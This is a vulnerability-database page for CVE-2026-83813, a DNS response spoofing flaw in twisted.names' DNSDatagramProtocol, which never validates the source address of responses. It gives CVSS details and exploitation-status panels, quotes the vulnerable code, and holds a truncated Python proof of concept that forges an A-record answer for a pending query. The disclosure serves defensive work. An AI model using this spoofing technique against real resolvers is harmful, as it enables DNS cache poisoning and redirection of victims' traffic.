VulnerabilityPublished 29 Oct 2026

CVE-2026-83813: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation

Affects alotSource GCVE Database

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Authoritative record:CVE-2026-83813· Low 3.1

Not known to be exploited · CVSS 3.1 Low.

Data as of 30 Oct 2026, 05:15 UTC

CVSS 3.1 base score

3.1Low

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (GitHub_M)	CVSS 3.1	3.1

CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Attack Vector: Adjacent
Attack Complexity: High
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: Low
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Adjacent: The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone).
Attack Complexity: High: A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may require an attacker to: gather knowledge about the environment in which the vulnerable target/component exists; prepare the target environment to improve exploit reliability; or inject themselves into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g., a man in the middle attack).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 23 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
Homebrewalot`pkg:brew/alot`Other threats	Affected >=0.3.7	Fixed in–

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Description

### Summary `twisted.names.dns.DNSDatagramProtocol`, the UDP transport used by twisted's DNS client (`twisted.names.client.Resolver`, `createResolver`, and anything built on it, including MX lookups in `twisted.mail`), accepts a DNS response for a pending query solely on the basis of the 16-bit transaction ID matching. It never checks that the response actually originated from the server the query was sent to. Any host that can deliver a UDP packet to the resolver's listening port with the correct transaction ID can inject a forged answer, independent of the real server's address. This is a materially weaker defense than standard DNS resolver practice (transaction ID plus source-address validation, typically also source-port rotation), and enables off-path DNS response spoofing / cache poisoning. ### Details `DNSDatagramProtocol.datagramReceived` (`src/twisted/names/dns.py`, line 3350) is: ```python def datagramReceived(self, data, addr): """ Read a datagram, extract the message in it and trigger the associated Deferred. """ m = Message() try: m.fromStr(data) except EOFError: ... except ValueError as ex: ... except BaseException: ... if m.id in self.liveMessages: d, canceller = self.liveMessages[m.id] del self.liveMessages[m.id] canceller.cancel() try: d.callback(m) except BaseException: log.err() else: if m.id not in self.resends: self.controller.messageReceived(m, self, addr) ``` The `addr` parameter, the UDP source address of the datagram, is accepted but never compared against the address the corresponding query was sent to. The only check is `m.id in self.liveMessages`, and `liveMessages` is keyed purely by the transaction ID chosen in `DNSMixin.pickID()`. The listening socket is a plain `listenUDP(0, self, maxPacketSize=512)` (line 3348), not connected to the queried server, so the kernel does not filter by source address either; any host can deliver a UDP datagram to this socket. The transaction ID itself is generated with `secureRandom` (`randomSource()`, line 174), so it is not predictable, but at 16 bits it is a 1-in-65536 space per attempt. `twisted.names.client.Resolver`, the standard, documented DNS client, mitigates brute-force guessing of that space by creating a brand-new `DNSDatagramProtocol` bound to a fresh, independently random source port (`_connectedProtocol()`, `src/twisted/names/client.py` line 206, using `dns.randomSource()`) for every individual query, and tearing the socket down once the query completes (`_query()`, line 253). This gives an off-path attacker roughly 32 bits of combined entropy (port and transaction ID) to guess per query issued through the standard client, not just the 16 bits of the transaction ID alone. The missing source-address check is still a real gap for two reasons. First, it removes a defense-in-depth backstop that DNS resolver best practice (RFC 5452) treats as independent from port and ID randomization; an attacker who is on-path, shares a broadcast domain or NAT with the resolver or the real DNS server, or is otherwise able to observe or narrow the ephemeral port faces no additional barrier at all, since source-address validation is exactly the check that would stop them. Second, `DNSDatagramProtocol` is itself a public, documented class; code that constructs one directly and issues more than one query against the same instance, rather than going through `client.Resolver`'s per-query protocol and port cycling, reuses the same source port for every query after the first, so guessing the 16-bit transaction ID alone is sufficient from that point on. `twisted.names.client.Resolver` uses this same `DNSDatagramProtocol` class for every UDP query it issues, so every consumer of the standard twisted DNS client, including `twisted.mail`'s MX resolution, is subject to the same unauthenticated accept logic in `datagramReceived`, moderated by the per-query port rotation described above. ### PoC ```python import socket from twisted.internet import reactor from twisted.names import dns class CapturingController: def messageReceived(self, message, protocol, address): pass def main(): resolverProto = dns.DNSDatagramProtocol(CapturingController()) resolverProto.startListening() real_server = ("203.0.113.1", 53) # RFC 5737 TEST-NET-1, never answers query = dns.Query(b"victim.example.com", dns.A, dns.IN) d = resolverProto.query(real_server, [query], timeout=5) stolen_id = next(iter(resolverProto.liveMessages)) resolver_port = resolverProto.transport.getHost().port forged = dns.Message(stolen_id, answer=1) forged.queries = [query] forged.answers = [ dns.RRHeader(name=b"victim.example.com", type=dns.A, cls=dns.IN, ttl=60, payload=dns.Record_A(address="6.6.6.6")) ] attacker_sock = socket.socket(socket.AF_INET, s

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